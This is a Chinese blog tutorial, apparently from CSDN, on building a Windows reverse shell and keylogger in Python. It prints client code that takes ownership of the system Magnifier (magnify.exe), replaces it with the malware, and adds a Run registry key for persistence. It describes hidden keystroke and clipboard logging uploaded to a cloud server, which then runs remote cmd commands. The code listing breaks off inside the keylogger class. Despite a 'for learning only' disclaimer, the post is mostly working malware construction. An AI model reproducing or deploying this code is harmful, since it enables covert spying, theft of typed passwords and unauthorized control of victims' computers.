反弹shell和键盘记录器实现

本文介绍了在Windows环境下,如何实现反弹shell和键盘记录器。通过Python编程,将客户端打包成exe,替换系统放大镜软件并实现开机自启动。服务端在云端监听特定端口,客户端连接后可记录键盘输入并上传至服务器,从而实现远程控制。文中详细阐述了关键步骤,包括权限管理、注册表绑定、ASCII检测、编码问题和远程指令执行等,并强调仅供学习,禁止非法使用。
摘要由CSDN通过智能技术生成

在这里插入图片描述

环境:win10(测试机),阿里云服务器(服务端)
另附:从局域网监控到广域网实时监控的实现


反弹shell(reverse shell),就是控制端监听在某 TCP/UDP 端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell 与 telnet,ssh 等标准 shell 对应,本质上是网络概念的客户端与服务端的角色反转

举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接

windows 一个漏洞:在开机页面,没有输入密码登陆电脑之前,可以直接打开放大镜,可以将放大镜软件替换为 cmd.exe 或者其他软件,就可以实现即使未登陆电脑,也可以做点其他事

总体概述:

  • 最终将客户端代码使用 pyinstaller 打包成一个 exe 文件(比如 python.exe),服务端代码则放在云服务器运行
  • 先在云端运行代码,监控某个端口
  • 当在 win10 运行客户端软件时,会先将当前目录的 python.exe 去替换系统的放大镜软件(magnify.exe),然后在注册表注册绑定已经被替换的 magnify.exe ,实现客户端软件开机自启动
  • 然后开启键盘记录的功能,能够记录键盘输入的数字字母、一般/特殊符号、特殊按键等,还能够记录粘贴板上的数据,键盘输入的数据保存在某个文件(比如 sys 无后缀名),并将该文件自动备份、隐藏为不可见保存在本地
  • 开始申请连接服务器端口,连接成功后先进入等待模式,和服务器随意发发消息等待以下,也称为待机模式
  • 在服务端进行模式切换时(比如设置成 ctrl+C),服务端进入命令发送模式,客户端则进入命令接收模式
  • 实现反弹 shell,将客户端所在电脑的 cmd 发送至云端,也就是说,在 win 下的 cmd 里能做的事,在云端也就能做了,这就实现了远程控制,区别在于权限是否拥有及用户密码
  • 当客户端掉线或者连接中断,服务端会自动切换到等待新连接的方式,而客户端在下次开机并联网时,就能悄然与服务器连接了

关键点如下:

① 软件第一次需要以管理员身份运行(如果当前登录用户不是最高管理员的话),运行后没有任何提示信息,但是在系统进程中可以看到并关闭,如果不是管理员身份运行,则导致下次开机后软件不能再自动运行了

② 将当前目录的exe复制替换成系统软件magnify,同时将原来的magnify备份,将magnify添加进注册表,实现开机自启动

③ 使用多线程实现键盘记录功能,对于特殊符号及按键的检测,使用 ASCII 进行区分,最终能够记录特殊符号,特殊按键则是用对应的英文名词记录,比如 ctrl 键是 LConctrol 或 RConctrol ,同时也能够记录按键是在什么应用窗口输入的

④ 通过 locale 解决了在 python 和 win 下不同编码方式导致的中文乱码问题、并解决的socket 发送的数据太多而接受不全的问题

⑤ 使用 subprocess.Popen 来执行远程控制的指令,能够返回每次执行的结果

客户端代码 python.py



# -*- coding: utf-8 -*-

# runas /user:administrator cmd.exe #以管理员方式运行 cmd.exe 软件

#下面都是用 import 是因为我用 from import 时生成 exe 报错,运行不了,搞了好久都没有解决
import socket
import os 
import locale
import subprocess 
import time
import struct
import win32api
import win32con
import win32clipboard
import PyHook3
import pythoncom
import threading

# 实现将 python.exe 替换 magnify.exe,并开机自启动
class Copy_Start_File(object):
    def __init__(self):
    	# 获取本地编码方式
        self.codeWay = locale.getdefaultlocale()[1]
	
	# 将 utf8 格式的字符串转为本地编码格式的字符串
    def utf8_to_locale(self,str_utf8):
        str_locale = str_utf8.encode(self.codeWay).decode(self.codeWay)
        return str_locale

	# 获取当前目录路径
    def getCurrentDir(self):
        curDir = self.utf8_to_locale(os.getcwd())
        return curDir

	# 设置开机自启动
    def setAutoStart(self):
        name = 'oftpublic' 
        path = 'c:\windows\system32\magnify.exe' 
        KeyName = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'
        try:
            key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, (
                                KeyName), 0, win32con.KEY_ALL_ACCESS)
            win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, path)
            win32api.RegCloseKey(key)
            result = 'start sucessful'
        except:
            result = 'start error'
        return  result
        
    # 替换软件    
    def autoCopyFile(self):
        curDir = self.getCurrentDir()
        tarFile = str(curDir) + '\python.exe'
        os.chdir('c:/windows/system32'.strip())
        tempCheck = '1 个文件'
        tempCheck = self.utf8_to_locale(tempCheck)
        cmd_list = []
        cmd_list.append('takeown /f magnify.exe')
        cmd_list.append('icacls magnify.exe /grant administrators:F')
        cmd_list.append('ren magnify.exe magnify_back.exe')
        cmd_list.append('copy %s magnify.exe'%tarFile)
        PIPE = subprocess.PIPE
        for cmd in cmd_list:
            cmd = self.utf8_to_locale(cmd)
            comRst = subprocess.Popen(cmd,shell=True, stdout=(
                                        PIPE),stderr=PIPE,stdin=PIPE)
            result, m_stderr = comRst.communicate()
            time.sleep(1)
        result = result.decode(self.codeWay)
        if tempCheck in result:
            start_result = self.setAutoStart()
            result += start_result
            return  result + 'COPY WORK IS DONE!'
        return 'COPY NO WORK!'


# 键盘记录实现
class Record_Keyboard(object):
    def __init__(self):
        self.codeWay = locale.getdefaultlocale()[1]
        self.column = 0 # 写入到文件时,做个换行,好看一点
        self.WindowNa
  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值